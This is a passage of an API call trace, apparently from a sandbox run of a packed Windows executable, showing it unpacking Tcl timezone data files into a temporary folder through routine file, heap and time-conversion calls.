[0038.101] GetLastError () returned 0x2 [0038.101] SetLastError (dwErrCode=0x2) [0038.101] GetLastError () returned 0x2 [0038.101] SetLastError (dwErrCode=0x2) [0038.101] GetLastError () returned 0x2 [0038.101] SetLastError (dwErrCode=0x2) [0038.101] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Cairo") returned 69 [0038.101] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.101] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Cairo" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa\\cairo"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.101] GetFileType (hFile=0x10c) returned 0x1 [0038.101] htonl (hostlong=0x140e0000) returned 0xe14 [0038.101] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0038.101] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0xe14, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0xe14, lpOverlapped=0x0) returned 1 [0038.102] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0038.102] CloseHandle (hObject=0x10c) returned 1 [0038.103] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.104] htonl (hostlong=0x30000000) returned 0x30 [0038.104] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.104] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.104] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.104] GetFileType (hFile=0x10c) returned 0x1 [0038.104] htonl (hostlong=0x6f3f5800) returned 0x583f6f [0038.104] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5cef6f, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.104] htonl (hostlong=0x3f050000) returned 0x53f [0038.104] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x53f) returned 0x550600 [0038.104] htonl (hostlong=0x3f050000) returned 0x53f [0038.104] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0038.105] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.105] htonl (hostlong=0x82170000) returned 0x1782 [0038.105] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1782) returned 0x560088 [0038.105] htonl (hostlong=0x3f050000) returned 0x53f [0038.105] htonl (hostlong=0x82170000) returned 0x1782 [0038.105] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561818 [0038.106] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561818 | out: hHeap=0x530000) returned 1 [0038.106] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0038.106] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0038.106] CloseHandle (hObject=0x10c) returned 1 [0038.106] GetLastError () returned 0x0 [0038.106] SetLastError (dwErrCode=0x0) [0038.106] GetLastError () returned 0x0 [0038.106] SetLastError (dwErrCode=0x0) [0038.106] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.106] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.106] GetFileType (hFile=0x10c) returned 0x1 [0038.106] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.106] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.106] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.106] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.106] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.106] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.106] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.106] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.106] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.106] CloseHandle (hObject=0x10c) returned 1 [0038.106] GetLastError () returned 0x0 [0038.107] SetLastError (dwErrCode=0x0) [0038.107] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.107] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.107] GetFileType (hFile=0x10c) returned 0x1 [0038.107] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.107] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.107] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.107] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.107] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.107] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.107] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.107] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.107] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.107] CloseHandle (hObject=0x10c) returned 1 [0038.107] GetLastError () returned 0x0 [0038.107] SetLastError (dwErrCode=0x0) [0038.107] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa") returned 63 [0038.107] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.107] GetFileType (hFile=0x10c) returned 0x1 [0038.107] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.107] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.107] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.107] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.108] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.108] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.108] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.108] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.108] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.108] CloseHandle (hObject=0x10c) returned 1 [0038.108] GetLastError () returned 0x0 [0038.108] SetLastError (dwErrCode=0x0) [0038.108] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Casablanca") returned 74 [0038.108] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Casablanca" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa\\casablanca"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.108] GetLastError () returned 0x2 [0038.108] SetLastError (dwErrCode=0x2) [0038.108] GetLastError () returned 0x2 [0038.108] SetLastError (dwErrCode=0x2) [0038.108] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Casablanca", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Casablanca", lpFilePart=0x0) returned 0x49 [0038.108] GetLastError () returned 0x2 [0038.108] SetLastError (dwErrCode=0x2) [0038.108] GetLastError () returned 0x2 [0038.108] SetLastError (dwErrCode=0x2) [0038.108] GetLastError () returned 0x2 [0038.108] SetLastError (dwErrCode=0x2) [0038.108] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Casablanca") returned 74 [0038.108] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.108] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Casablanca" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa\\casablanca"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.109] GetFileType (hFile=0x10c) returned 0x1 [0038.109] htonl (hostlong=0x82170000) returned 0x1782 [0038.109] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0038.111] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0038.111] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x782, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x782, lpOverlapped=0x0) returned 1 [0038.111] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0038.111] CloseHandle (hObject=0x10c) returned 1 [0038.112] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.112] htonl (hostlong=0x30000000) returned 0x30 [0038.112] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.112] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.112] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.112] GetFileType (hFile=0x10c) returned 0x1 [0038.112] htonl (hostlong=0xae445800) returned 0x5844ae [0038.112] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5cf4ae, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.112] htonl (hostlong=0xd060000) returned 0x60d [0038.112] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x60d) returned 0x550600 [0038.112] htonl (hostlong=0xd060000) returned 0x60d [0038.112] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0038.112] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.112] htonl (hostlong=0x551c0000) returned 0x1c55 [0038.112] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1c55) returned 0x560088 [0038.112] htonl (hostlong=0xd060000) returned 0x60d [0038.112] htonl (hostlong=0x551c0000) returned 0x1c55 [0038.112] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561ce8 [0038.112] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561ce8 | out: hHeap=0x530000) returned 1 [0038.112] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0038.112] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0038.112] CloseHandle (hObject=0x10c) returned 1 [0038.113] GetLastError () returned 0x0 [0038.113] SetLastError (dwErrCode=0x0) [0038.113] GetLastError () returned 0x0 [0038.113] SetLastError (dwErrCode=0x0) [0038.113] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.113] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.113] GetFileType (hFile=0x10c) returned 0x1 [0038.113] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.113] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.113] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.113] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.113] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.113] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.113] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.113] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.113] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.113] CloseHandle (hObject=0x10c) returned 1 [0038.113] GetLastError () returned 0x0 [0038.113] SetLastError (dwErrCode=0x0) [0038.113] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.113] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.113] GetFileType (hFile=0x10c) returned 0x1 [0038.114] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.114] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.114] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.114] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.114] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.114] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.114] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.114] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.114] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.114] CloseHandle (hObject=0x10c) returned 1 [0038.114] GetLastError () returned 0x0 [0038.114] SetLastError (dwErrCode=0x0) [0038.114] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa") returned 63 [0038.114] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.114] GetFileType (hFile=0x10c) returned 0x1 [0038.114] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.114] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.114] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.114] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.114] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.114] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.114] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.114] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.114] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.115] CloseHandle (hObject=0x10c) returned 1 [0038.115] GetLastError () returned 0x0 [0038.115] SetLastError (dwErrCode=0x0) [0038.115] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Ceuta") returned 69 [0038.115] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Ceuta" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa\\ceuta"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.115] GetLastError () returned 0x2 [0038.115] SetLastError (dwErrCode=0x2) [0038.115] GetLastError () returned 0x2 [0038.115] SetLastError (dwErrCode=0x2) [0038.115] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Ceuta", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Ceuta", lpFilePart=0x0) returned 0x44 [0038.115] GetLastError () returned 0x2 [0038.115] SetLastError (dwErrCode=0x2) [0038.115] GetLastError () returned 0x2 [0038.115] SetLastError (dwErrCode=0x2) [0038.115] GetLastError () returned 0x2 [0038.115] SetLastError (dwErrCode=0x2) [0038.115] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Ceuta") returned 69 [0038.115] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.115] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Ceuta" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa\\ceuta"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 